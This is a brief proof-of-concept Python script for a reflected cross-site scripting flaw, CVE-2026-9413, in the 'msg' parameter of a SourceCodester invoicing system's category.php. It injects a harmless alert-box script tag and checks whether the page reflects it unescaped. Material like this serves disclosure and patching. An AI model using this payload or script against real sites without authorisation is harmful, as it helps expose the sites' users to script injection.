CVE-2026-9413: SourceCodester发票系统XSS漏洞

# PoC for CVE-2026-9413 # Vulnerable File: /Invoicing/category.php # Vulnerable Parameter: msg import requests target_url = "http://example.com/Invoicing/category.php" payload = "<script>alert('CVE-2026-9413');</script>" # Inject payload into the 'msg' parameter params = { "msg": payload } try: response = requests.get(target_url, params=params, timeout=5) # Check if the payload is reflected unescaped in the response if payload in response.text: print("[+] Vulnerability confirmed! XSS payload executed successfully.") else: print("[-] Vulnerability not detected or payload was encoded.") except Exception as e: print(f"Error: {e}")